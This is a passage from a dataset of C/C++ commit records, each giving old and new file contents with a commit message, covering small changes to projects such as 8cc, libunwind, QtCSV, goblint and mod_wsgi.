stringify(x) #x\n\nvoid digraph(void) {\n    expect_string(\"[\", stringify(<:));\n    expect_string(\"]\", stringify(:>));\n    expect_string(\"{\", stringify(<%));\n    expect_string(\"}\", stringify(%>));\n    expect_string(\"#\", stringify(%:));\n    expect_string(\"% :\", stringify(% :));\n    expect_string(\"##\", stringify(%:%:));\n    expect_string(\"#%\", stringify(%:%));\n}\n\nvoid escape(void) {\n    int value = 10;\n    expect(10, val\\\nue);\n}\n\nvoid whitespace(void) {\n    expect_string(\"x y\", stringify(\u000b\fx\u000b\fy\u000b\f));\n}\n\nvoid newline(void) {\n    \r \r\n#\n}\n\nvoid testmain(void) {\n    print(\"lexer\");\n    digraph();\n    escape();\n    whitespace();\n    newline();\n}\n","subject":"Add a test for line separator characters.","message":"Add a test for line separator characters.\n","lang":"C","license":"mit","repos":"jtramm\/8cc,vastin\/8cc,vastin\/8cc,8l\/8cc,vastin\/8cc,nobody1986\/8cc,rui314\/8cc,cpjreynolds\/8cc,abc00\/8cc,nobody1986\/8cc,gergo-\/8cc,rui314\/8cc,jtramm\/8cc,andrewchambers\/8cc,andrewchambers\/8cc,nobody1986\/8cc,cpjreynolds\/8cc,8l\/8cc,andrewchambers\/8cc,abc00\/8cc,andrewchambers\/8cc,jtramm\/8cc,cpjreynolds\/8cc,jtramm\/8cc,gergo-\/8cc,abc00\/8cc,nobody1986\/8cc,rui314\/8cc,cpjreynolds\/8cc,8l\/8cc,gergo-\/8cc,vastin\/8cc,rui314\/8cc,8l\/8cc,abc00\/8cc"}
{"commit":"ebfe818d2eb3a5c4e27040f139ae3fb349f13865","old_file":"common\/math_defs.h","new_file":"common\/math_defs.h","old_contents":"#ifndef AL_MATH_DEFS_H\n#define AL_MATH_DEFS_H\n\n#include <math.h>\n\n#ifndef M_PI\n#define M_PI (3.14159265358979323846)\n#endif\n\n#define F_PI    (3.14159265358979323846f)\n#define F_PI_2  (1.57079632679489661923f)\n#define F_TAU   (6.28318530717958647692f)\n\n#define SQRTF_3 1.73205080756887719318f\n\nconstexpr inline float Deg2Rad(float x) noexcept { return x * float{M_PI\/180.0}; }\nconstexpr inline float Rad2Deg(float x) noexcept { return x * float{180.0\/M_PI}; }\n\n#endif \/* AL_MATH_DEFS_H *\/\n","new_contents":"#ifndef AL_MATH_DEFS_H\n#define AL_MATH_DEFS_H\n\n#include <math.h>\n\n#ifndef M_PI\n#define M_PI (3.14159265358979323846)\n#endif\n\n#define F_PI    (3.14159265358979323846f)\n#define F_PI_2  (1.57079632679489661923f)\n#define F_TAU   (6.28318530717958647692f)\n\n#define SQRTF_3 1.73205080756887719318f\n\nconstexpr inline float Deg2Rad(float x) noexcept { return x * static_cast<float>(M_PI\/180.0); }\nconstexpr inline float Rad2Deg(float x) noexcept { return x * static_cast<float>(180.0\/M_PI); }\n\n#endif \/* AL_MATH_DEFS_H *\/\n","subject":"Fix narrowing conversion from double to float","message":"Fix narrowing conversion from double to float\n","lang":"C","license":"lgpl-2.1","repos":"aaronmjacobs\/openal-soft,aaronmjacobs\/openal-soft"}
{"commit":"f7285e5f08b0b2aca0caf7fe03b897303c9981bd","old_file":"Firmware\/Inc\/platform_hw.h","new_file":"Firmware\/Inc\/platform_hw.h","old_contents":"#ifndef PLATFORM_HW_H__\n#define PLATFORM_HW_H__\n\n#include <stdbool.h>\n#include \"color.h\"\n#include \"stm32f0xx_hal.h\"\n#include \"stm32f0xx_hal_gpio.h\"\n\n#define LED_CHAIN_LENGTH       10\n\n#define  USER_BUTTON_PORT        (GPIOA)\n#define  USER_BUTTON_PIN         (GPIO_PIN_0)\n\n#define  LED_SPI_INSTANCE        (SPI1)\n\n#pragma pack(push)  \/* push current alignment to stack *\/\n#pragma pack(1)     \/* set alignment to 1 byte boundary *\/\nunion platformHW_LEDRegister {\n   uint8_t  raw[4];\n   struct {\n      \/\/header\/global brightness is 0bAAABBBBB\n      \/\/A = 1\n      \/\/B = integer brightness divisor from 0x0 -> 0x1F\n\n      uint8_t const                 header      :3;\n\n      \/\/3 bits always, 5 bits global brightness, 8B, 8G, 8R\n      \/\/Glob = 0xE1 = min bright\n      \/\/uint8_t const           globalHeader      :8;\n      uint8_t                 globalBrightness  :5;\n      struct color_ColorRGB   color;\n   };\n};\n#pragma pack(pop)   \/* restore original alignment from stack *\/\n\n\nbool platformHW_Init(void);\nbool platformHW_SpiInit(SPI_HandleTypeDef * const spi, SPI_TypeDef* spiInstance);\n\nvoid platformHW_UpdateLEDs(SPI_HandleTypeDef* spi);\n\n\n#endif\/\/PLATFORM_HW_H__\n\n","new_contents":"#ifndef PLATFORM_HW_H__\n#define PLATFORM_HW_H__\n\n#include <stdbool.h>\n#include \"color.h\"\n#include \"stm32f0xx_hal.h\"\n#include \"stm32f0xx_hal_gpio.h\"\n\n#define LED_CHAIN_LENGTH       10\n\n#define  USER_BUTTON_PORT        (GPIOA)\n#define  USER_BUTTON_PIN         (GPIO_PIN_0)\n\n#define  LED_SPI_INSTANCE        (SPI1)\n\n#pragma pack(push)  \/* push current alignment to stack *\/\n#pragma pack(1)     \/* set alignment to 1 byte boundary *\/\nunion platformHW_LEDRegister {\n   uint8_t  raw[4];\n   struct {\n      \/\/3 bits always, 5 bits global brightness, 8B, 8G, 8R\n      \/\/Glob = 0xE1 = min bright\n      uint8_t                 globalBrightness  :5;\n\n      \/\/header\/global brightness is 0bAAABBBBB\n      \/\/A = 1\n      \/\/B = integer brightness divisor from 0x0 -> 0x1F\n      uint8_t const                 header      :3;\n\n      struct color_ColorRGB   color;\n   };\n};\n#pragma pack(pop)   \/* restore original alignment from stack *\/\n\n\nbool platformHW_Init(void);\nbool platformHW_SpiInit(SPI_HandleTypeDef * const spi, SPI_TypeDef* spiInstance);\n\nvoid platformHW_UpdateLEDs(SPI_HandleTypeDef* spi);\n\n\n#endif\/\/PLATFORM_HW_H__\n\n","subject":"Fix incorrect LED header bit order","message":"Fix incorrect LED header bit order\n","lang":"C","license":"mit","repos":"borgel\/sympetrum-v2,borgel\/sympetrum-v2"}
{"commit":"067133a2658b611718a8b111d6c7824dfbf19f56","old_file":"jet_string.h","new_file":"jet_string.h","old_contents":"#ifndef CJET_STRING_H\n#define CJET_STRING_H\n\n#include <stdlib.h>\n#include <string.h>\n\nstatic inline char *duplicate_string(const char *s)\n{\n\tsize_t length = strlen(s);\n\tchar *new_string = malloc(length + 1);\n\tif (unlikely(new_string == NULL)) {\n\t\treturn NULL;\n\t}\n\tstrncpy(new_string, s, length + 1);\n\treturn new_string;\n}\n\n#endif\n","new_contents":"#ifndef CJET_STRING_H\n#define CJET_STRING_H\n\n#include <stdlib.h>\n#include <string.h>\n\nstatic inline char *duplicate_string(const char *s)\n{\n\tsize_t length = strlen(s);\n\tchar *new_string = malloc(length + 1);\n\tif (unlikely(new_string != NULL)) {\n\t\tstrncpy(new_string, s, length + 1);\n\t}\n\treturn new_string;\n}\n\n#endif\n","subject":"Simplify string duplication function a bit.","message":"Simplify string duplication function a bit.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet"}
{"commit":"18e68bd789834bc6a044fdfc0f1de437cd16360c","old_file":"usart0s.h","new_file":"usart0s.h","old_contents":"\/*\n    usart0s.h - C interface to routine written in assembler\n    Compile the corresponding assembler file with\n        #define C_COMPAT_ASM_CODE  1\n    Copyright (c) 2015 Igor Mikolic-Torreira.  All right reserved.\n\n    This program is free software: you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n\n#ifndef usart0s_h\n#define usart0s_h\n\n#include <stdint.h>\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid sendUSART0( uint8_t byteToSend );\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/*\n    usart0s.h - C interface to routine written in assembler\n\n    The MIT License (MIT)\n\n    Copyright (c) 2015 Igor Mikolic-Torreira\n\n    Permission is hereby granted, free of charge, to any person obtaining a copy\n    of this software and associated documentation files (the \"Software\"), to deal\n    in the Software without restriction, including without limitation the rights\n    to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n    copies of the Software, and to permit persons to whom the Software is\n    furnished to do so, subject to the following conditions:\n\n    The above copyright notice and this permission notice shall be included in all\n    copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n    SOFTWARE.\n*\/\n\n\n#ifndef usart0s_h\n#define usart0s_h\n\n#include <stdint.h>\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid enableUSART0();\n\nvoid sendUSART0( uint8_t byteToSend );\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Revise license and add missing prototype","message":"Revise license and add missing prototype\n","lang":"C","license":"mit","repos":"igormiktor\/ASMUtils"}
{"commit":"be467abeac9c2b1fba3cd18303a2336e26da8104","old_file":"src\/ia64\/Gset_caching_policy-ia64.c","new_file":"src\/ia64\/Gset_caching_policy-ia64.c","old_contents":"","new_contents":"\/* libunwind - a platform-independent unwind library\n   Copyright (C) 2002 Hewlett-Packard Co\n\tContributed by David Mosberger-Tang <davidm@hpl.hp.com>\n\nThis file is part of libunwind.\n\nPermission is hereby granted, free of charge, to any person obtaining\na copy of this software and associated documentation files (the\n\"Software\"), to deal in the Software without restriction, including\nwithout limitation the rights to use, copy, modify, merge, publish,\ndistribute, sublicense, and\/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to\nthe following conditions:\n\nThe above copyright notice and this permission notice shall be\nincluded in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\nNONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\nLIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\nOF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\nWITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.  *\/\n\n#include \"unwind_i.h\"\n\nPROTECTED int\nunw_set_caching_policy (unw_addr_space_t as, unw_caching_policy_t policy)\n{\n  if (unw.needs_initialization)\n    ia64_init ();\n\n#ifndef HAVE___THREAD\n  if (policy == UNW_CACHE_PER_THREAD)\n    policy = UNW_CACHE_GLOBAL;\n#endif\n\n  if (policy == as->caching_policy)\n    return 0;\t\/* no change *\/\n\n  as->caching_policy = policy;\n  \/* Ensure caches are empty (and initialized).  *\/\n  unw_flush_cache (as, 0, 0);\n  return 0;\n}\n","subject":"Declare libunwind-entry-points as PROTECTED to ensure local uses get resolved within the library itself.","message":"Declare libunwind-entry-points as PROTECTED to ensure local uses get\nresolved within the library itself.\n\n2004\/01\/03 00:25:12-08:00 hp.com!davidm\nRename: src\/ia64\/set_caching_policy-ia64.c -> src\/ia64\/Gset_caching_policy-ia64.c\n\n(Logical change 1.151)\n","lang":"C","license":"mit","repos":"cms-externals\/libunwind,SyndicateRogue\/libunwind,lat\/libunwind,SyndicateRogue\/libunwind,igprof\/libunwind,krytarowski\/libunwind,project-zerus\/libunwind,atanasyan\/libunwind-android,lat\/libunwind,fillexen\/libunwind,atanasyan\/libunwind,android-ia\/platform_external_libunwind,zliu2014\/libunwind-tilegx,rantala\/libunwind,joyent\/libunwind,zliu2014\/libunwind-tilegx,android-ia\/platform_external_libunwind,zeldin\/platform_external_libunwind,libunwind\/libunwind,frida\/libunwind,Keno\/libunwind,zliu2014\/libunwind-tilegx,unkadoug\/libunwind,unkadoug\/libunwind,lat\/libunwind,CyanogenMod\/android_external_libunwind,cloudius-systems\/libunwind,dropbox\/libunwind,geekboxzone\/mmallow_external_libunwind,libunwind\/libunwind,frida\/libunwind,zeldin\/platform_external_libunwind,geekboxzone\/lollipop_external_libunwind,ehsan\/libunwind,cms-externals\/libunwind,maltek\/platform_external_libunwind,evaautomation\/libunwind,rantala\/libunwind,djwatson\/libunwind,Chilledheart\/libunwind,CyanogenMod\/android_external_libunwind,dagar\/libunwind,martyone\/libunwind,ehsan\/libunwind,vtjnash\/libunwind,mpercy\/libunwind,vegard\/libunwind,joyent\/libunwind,rogwfu\/libunwind,rntz\/libunwind,fdoray\/libunwind,project-zerus\/libunwind,SyndicateRogue\/libunwind,djwatson\/libunwind,androidarmv6\/android_external_libunwind,jrmuizel\/libunwind,wdv4758h\/libunwind,0xlab\/0xdroid-external_libunwind,dagar\/libunwind,rantala\/libunwind,joyent\/libunwind,dreal-deps\/libunwind,dropbox\/libunwind,pathscale\/libunwind,DroidSim\/platform_external_libunwind,geekboxzone\/lollipop_external_libunwind,yuyichao\/libunwind,bo-on-software\/libunwind,adsharma\/libunwind,adsharma\/libunwind,krytarowski\/libunwind,olibc\/libunwind,geekboxzone\/mmallow_external_libunwind,maltek\/platform_external_libunwind,tronical\/libunwind,cms-externals\/libunwind,igprof\/libunwind,adsharma\/libunwind,tronical\/libunwind,tkelman\/libunwind,dreal-deps\/libunwind,vegard\/libunwind,cloudius-systems\/libunwind,mpercy\/libunwind,unkadoug\/libunwind,rntz\/libunwind,project-zerus\/libunwind,zeldin\/platform_external_libunwind,vegard\/libunwind,rntz\/libunwind,tony\/libunwind,krytarowski\/libunwind,evaautomation\/libunwind,atanasyan\/libunwind,pathscale\/libunwind,libunwind\/libunwind,Keno\/libunwind,yuyichao\/libunwind,jrmuizel\/libunwind,djwatson\/libunwind,atanasyan\/libunwind-android,mpercy\/libunwind,0xlab\/0xdroid-external_libunwind,tony\/libunwind,cloudius-systems\/libunwind,igprof\/libunwind,geekboxzone\/lollipop_external_libunwind,Chilledheart\/libunwind,tkelman\/libunwind,dreal-deps\/libunwind,jrmuizel\/libunwind,tkelman\/libunwind,frida\/libunwind,atanasyan\/libunwind-android,bo-on-software\/libunwind,Chilledheart\/libunwind,rogwfu\/libunwind,vtjnash\/libunwind,androidarmv6\/android_external_libunwind,androidarmv6\/android_external_libunwind,fillexen\/libunwind,pathscale\/libunwind,olibc\/libunwind,yuyichao\/libunwind,olibc\/libunwind,fdoray\/libunwind,0xlab\/0xdroid-external_libunwind,maltek\/platform_external_libunwind,Keno\/libunwind,atanasyan\/libunwind,vtjnash\/libunwind,fillexen\/libunwind,tronical\/libunwind,tony\/libunwind,wdv4758h\/libunwind,fdoray\/libunwind,dropbox\/libunwind,CyanogenMod\/android_external_libunwind,martyone\/libunwind,martyone\/libunwind,DroidSim\/platform_external_libunwind,bo-on-software\/libunwind,wdv4758h\/libunwind,DroidSim\/platform_external_libunwind,android-ia\/platform_external_libunwind,dagar\/libunwind,geekboxzone\/mmallow_external_libunwind,rogwfu\/libunwind,evaautomation\/libunwind,ehsan\/libunwind"}
{"commit":"7c74772ff14401da9fde234334add253c8c11010","old_file":"DungeonsOfNoudar486\/include\/RasterizerCommon.h","new_file":"DungeonsOfNoudar486\/include\/RasterizerCommon.h","old_contents":"\/\/\n\/\/ Created by monty on 27\/08\/16.\n\/\/\n\n#ifndef BLANKSLATE_COMMON_H\n#define BLANKSLATE_COMMON_H\n\nnamespace odb {\n\n#ifdef LOWRES\n    using FixP = fixed_point<int16_t, -4>;\n#else\n    using FixP = fixed_point<int32_t, -16>;\n#endif\n\n\n    class Vec3 {\n    public:\n        FixP mX;\n        FixP mY;\n        FixP mZ;\n    };\n\n    Vec3 operator+(const Vec3 &v1, const Vec3 &v2);\n\n    Vec3 operator-(const Vec3 &v1, const Vec3 &v2);\n\n    Vec3 &operator+=(Vec3 &v1, const Vec3 &v2);\n\n    Vec3 &operator-=(Vec3 &v1, const Vec3 &v2);\n\n    class Vec2 {\n    public:\n        FixP mX;\n        FixP mY;\n    };\n}\n#endif \/\/BLANKSLATE_COMMON_H\n","new_contents":"\/\/\n\/\/ Created by monty on 27\/08\/16.\n\/\/\n\n#ifndef BLANKSLATE_COMMON_H\n#define BLANKSLATE_COMMON_H\n\nnamespace odb {\n\n#ifdef LOWRES\n    using FixP = fixed_point<int16_t, -3>;\n#else\n    using FixP = fixed_point<int32_t, -16>;\n#endif\n\n\n    class Vec3 {\n    public:\n        FixP mX;\n        FixP mY;\n        FixP mZ;\n    };\n\n    Vec3 operator+(const Vec3 &v1, const Vec3 &v2);\n\n    Vec3 operator-(const Vec3 &v1, const Vec3 &v2);\n\n    Vec3 &operator+=(Vec3 &v1, const Vec3 &v2);\n\n    Vec3 &operator-=(Vec3 &v1, const Vec3 &v2);\n\n    class Vec2 {\n    public:\n        FixP mX;\n        FixP mY;\n    };\n}\n#endif \/\/BLANKSLATE_COMMON_H\n","subject":"Bring the lower resolution version back from the dead","message":"Bring the lower resolution version back from the dead\n\nSome textures look warped, but it mostly works.\n","lang":"C","license":"bsd-2-clause","repos":"TheFakeMontyOnTheRun\/dungeons-of-noudar,TheFakeMontyOnTheRun\/dungeons-of-noudar"}
{"commit":"92429ddd879d22bb4d18e142ef0ff82d455f9be8","old_file":"test\/Analysis\/func.c","new_file":"test\/Analysis\/func.c","old_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nvoid f(void) {\n  void (*p)(void);\n  p = f;\n  p = &f;\n  p();\n  (*p)();\n}\n","new_contents":"\/\/ RUN: clang -checker-simple -verify %s\n\nvoid f(void) {\n  void (*p)(void);\n  p = f;\n  p = &f;\n  p();\n  (*p)();\n}\n\nvoid g(void (*fp)(void));\n\nvoid f2() {\n  g(f);\n}\n","subject":"Add test for SCA region store.","message":"Add test for SCA region store.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@58235 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"4d0e6e5c7405ffa88b925a5b781cfb942da79882","old_file":"sources\/filechecker.h","new_file":"sources\/filechecker.h","old_contents":"#ifndef QTCSVFILECHECKER_H\n#define QTCSVFILECHECKER_H\n\n#include <QString>\n#include <QFileInfo>\n\nnamespace QtCSV\n{\n    \/\/ Check if path to csv file is valid\n    \/\/ @input:\n    \/\/ - filePath - string with absolute path to csv-file\n    \/\/ @output:\n    \/\/ - bool - True if file is OK, else False\n    inline bool CheckFile(const QString& filePath)\n    {\n        QFileInfo fileInfo(filePath);\n        if ( fileInfo.isAbsolute() && \"csv\" == fileInfo.suffix() )\n        {\n            return true;\n        }\n\n        return false;\n    }\n}\n\n#endif \/\/ QTCSVFILECHECKER_H\n","new_contents":"#ifndef QTCSVFILECHECKER_H\n#define QTCSVFILECHECKER_H\n\n#include <QString>\n#include <QFileInfo>\n#include <QDebug>\n\nnamespace QtCSV\n{\n    \/\/ Check if path to csv file is valid\n    \/\/ @input:\n    \/\/ - filePath - string with absolute path to csv-file\n    \/\/ @output:\n    \/\/ - bool - True if file is OK, else False\n    inline bool CheckFile(const QString& filePath)\n    {\n        QFileInfo fileInfo(filePath);\n        if ( fileInfo.isAbsolute() && fileInfo.isFile() )\n        {\n            if ( \"csv\" != fileInfo.suffix() )\n            {\n                qDebug() << __FUNCTION__  <<\n                            \"Warning - file suffix is not .csv\";\n            }\n\n            return true;\n        }\n\n        return false;\n    }\n}\n\n#endif \/\/ QTCSVFILECHECKER_H\n","subject":"Remove requirement for a .csv suffix. Print warning if working with file that have suffix other than .csv","message":"Remove requirement for a .csv suffix. Print warning if working with file that have suffix other than .csv\n","lang":"C","license":"mit","repos":"apollo13\/qtcsv,apollo13\/qtcsv,iamantony\/qtcsv,iamantony\/qtcsv"}
{"commit":"fec3cd28f55fa0d220054c0034d5f55345006721","old_file":"library\/strings_format.h","new_file":"library\/strings_format.h","old_contents":"#pragma once\n\n#define TINYFORMAT_USE_VARIADIC_TEMPLATES\n#include \"dependencies\/tinyformat\/tinyformat.h\"\n#include \"library\/strings.h\"\nnamespace OpenApoc\n{\n\ntemplate <typename... Args> static UString format(const UString &fmt, Args &&... args)\n{\n\treturn tfm::format(fmt.cStr(), std::forward<Args>(args)...);\n}\n\nUString tr(const UString &str, const UString domain = \"ufo_string\");\n\n} \/\/ namespace OpenApoc\n","new_contents":"#pragma once\n\n#define TINYFORMAT_USE_VARIADIC_TEMPLATES\n\n#ifdef __GNUC__\n\/\/ Tinyformat has a number of non-annotated switch fallthrough cases\n#pragma GCC diagnostic push\n#pragma GCC diagnostic ignored \"-Wimplicit-fallthrough\"\n#endif\n\n#include \"dependencies\/tinyformat\/tinyformat.h\"\n\n#ifdef __GNUC__\n#pragma GCC diagnostic pop\n#endif\n\n#include \"library\/strings.h\"\nnamespace OpenApoc\n{\n\ntemplate <typename... Args> static UString format(const UString &fmt, Args &&... args)\n{\n\treturn tfm::format(fmt.cStr(), std::forward<Args>(args)...);\n}\n\nUString tr(const UString &str, const UString domain = \"ufo_string\");\n\n} \/\/ namespace OpenApoc\n","subject":"Disable -Wimplicit-fallthrough when including tinyformat","message":"Disable -Wimplicit-fallthrough when including tinyformat\n\nWe assume anything that defines __GNUC__ also copes with GCC #pragmas\n","lang":"C","license":"mit","repos":"pmprog\/OpenApoc,steveschnepp\/OpenApoc,steveschnepp\/OpenApoc,Istrebitel\/OpenApoc,Istrebitel\/OpenApoc,pmprog\/OpenApoc"}
{"commit":"732d189a86d86f281a8b779dce4e28365624f918","old_file":"tests\/regression\/02-base\/98-refine-unsigned.c","new_file":"tests\/regression\/02-base\/98-refine-unsigned.c","old_contents":"\/\/ PARAM: --enable ana.int.interval\n#include <stdlib.h>\n#include <assert.h>\n\nint main() {\n  unsigned long ul;\n\n  if (ul <= 0UL) {\n    __goblint_check(ul == 0UL);\n  } else {\n    __goblint_check(ul != 0UL);\n  }\n\n  if (ul > 0UL) {\n    __goblint_check(ul != 0UL);\n  } else {\n    __goblint_check(ul == 0UL);\n  }\n\n  if (! (ul > 0UL)) {\n    __goblint_check(ul == 0UL);\n  } else {\n    __goblint_check(ul != 0UL);\n  }\n    \n  unsigned int iu;\n  if (iu <= 0UL) {\n    __goblint_check(iu == 0UL);\n  } else {\n    __goblint_check(iu != 0UL);\n  }\n\n  if (iu > 0UL) {\n    __goblint_check(iu != 0UL);\n  } else {\n    __goblint_check(iu == 0UL);\n  }\n\n  if (! (iu > 0UL)) {\n    __goblint_check(iu == 0UL);\n  } else {\n    __goblint_check(iu != 0UL);\n  }\n\n\n  int i;\n  if (! (i > 0)) {\n    \n  } else {\n    __goblint_check(i != 0);\n  }\n\n  return 0;\n}","new_contents":"\/\/ PARAM: --enable ana.int.interval\n#include <stdlib.h>\n#include <assert.h>\n\nint main() {\n  unsigned long ul;\n\n  if (ul <= 0UL) {\n    __goblint_check(ul == 0UL);\n  } else {\n    __goblint_check(ul != 0UL);\n  }\n\n  if (ul > 0UL) {\n    __goblint_check(ul != 0UL);\n  } else {\n    __goblint_check(ul == 0UL);\n  }\n\n  if (! (ul > 0UL)) {\n    __goblint_check(ul == 0UL);\n  } else {\n    __goblint_check(ul != 0UL);\n  }\n\n  unsigned int iu;\n  if (iu <= 0UL) {\n    __goblint_check(iu == 0UL);\n  } else {\n    __goblint_check(iu != 0UL);\n  }\n\n  if (iu > 0UL) {\n    __goblint_check(iu != 0UL);\n  } else {\n    __goblint_check(iu == 0UL);\n  }\n\n  if (! (iu > 0UL)) {\n    __goblint_check(iu == 0UL);\n  } else {\n    __goblint_check(iu != 0UL);\n  }\n\n\n  int i;\n  if (! (i > 0)) {\n\n  } else {\n    __goblint_check(i != 0);\n  }\n\n  return 0;\n}\n","subject":"Remove trailing spaces in test case.","message":"Remove trailing spaces in test case.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"6ebd618ef522838e0478ebacfc60adc7ecc9d8fa","old_file":"src\/server\/wsgi_version.h","new_file":"src\/server\/wsgi_version.h","old_contents":"#ifndef WSGI_VERSION_H\n#define WSGI_VERSION_H\n\n\/* ------------------------------------------------------------------------- *\/\n\n\/*\n * Copyright 2007-2021 GRAHAM DUMPLETON\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/* ------------------------------------------------------------------------- *\/\n\n\/* Module version information. *\/\n\n#define MOD_WSGI_MAJORVERSION_NUMBER 4\n#define MOD_WSGI_MINORVERSION_NUMBER 9\n#define MOD_WSGI_MICROVERSION_NUMBER 0\n#define MOD_WSGI_VERSION_STRING \"4.9.0\"\n\n\/* ------------------------------------------------------------------------- *\/\n\n#endif\n\n\/* vi: set sw=4 expandtab : *\/\n","new_contents":"#ifndef WSGI_VERSION_H\n#define WSGI_VERSION_H\n\n\/* ------------------------------------------------------------------------- *\/\n\n\/*\n * Copyright 2007-2021 GRAHAM DUMPLETON\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/* ------------------------------------------------------------------------- *\/\n\n\/* Module version information. *\/\n\n#define MOD_WSGI_MAJORVERSION_NUMBER 4\n#define MOD_WSGI_MINORVERSION_NUMBER 9\n#define MOD_WSGI_MICROVERSION_NUMBER 1\n#define MOD_WSGI_VERSION_STRING \"4.9.1.dev1\"\n\n\/* ------------------------------------------------------------------------- *\/\n\n#endif\n\n\/* vi: set sw=4 expandtab : *\/\n","subject":"Increment version to 4.9.1 for new development work.","message":"Increment version to 4.9.1 for new development work.\n","lang":"C","license":"apache-2.0","repos":"GrahamDumpleton\/mod_wsgi,GrahamDumpleton\/mod_wsgi,GrahamDumpleton\/mod_wsgi"}
{"commit":"48acc8c91b26cf424086151a6a625b663196b1c7","old_file":"src\/statistic_histogram.h","new_file":"src\/statistic_histogram.h","old_contents":"\/*\r\n * statistic_histogram.h\r\n *\r\n *\/\r\n\r\n#ifndef STATISTIC_HISTOGRAM_H_\r\n#define STATISTIC_HISTOGRAM_H_\r\n\r\n#include <stdio.h>\r\n#include <vector>\r\n\r\nclass Statistic_histogram\r\n{\r\npublic:\r\n    Statistic_histogram(std::string h_name, const ssize_t domain_start, const ssize_t domain_end, const size_t range_size);\r\n\r\n    void inc_val(uint64_t val);\r\n    size_t report(char * report_buffer, size_t report_buffer_size);\r\n\r\nprivate:\r\n    std::string  name;\r\n    ssize_t dstart;\r\n    ssize_t dend;\r\n    size_t  rsize;\r\n\r\n    typedef std::vector<uint64_t>::iterator hv_iterator;\r\n    std::vector<uint64_t> hval;\r\n};\r\n\r\n\r\n#endif \/* STATISTIC_HISTOGRAM_H_ *\/\r\n","new_contents":"\/*\r\nCopyright (c) 2015, Edward Haas\r\nAll rights reserved.\r\n\r\nRedistribution and use in source and binary forms, with or without\r\nmodification, are permitted provided that the following conditions are met:\r\n\r\n* Redistributions of source code must retain the above copyright notice, this\r\n  list of conditions and the following disclaimer.\r\n\r\n* Redistributions in binary form must reproduce the above copyright notice,\r\n  this list of conditions and the following disclaimer in the documentation\r\n  and\/or other materials provided with the distribution.\r\n\r\n* Neither the name of st_histogram nor the names of its\r\n  contributors may be used to endorse or promote products derived from\r\n  this software without specific prior written permission.\r\n\r\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\r\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\r\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS 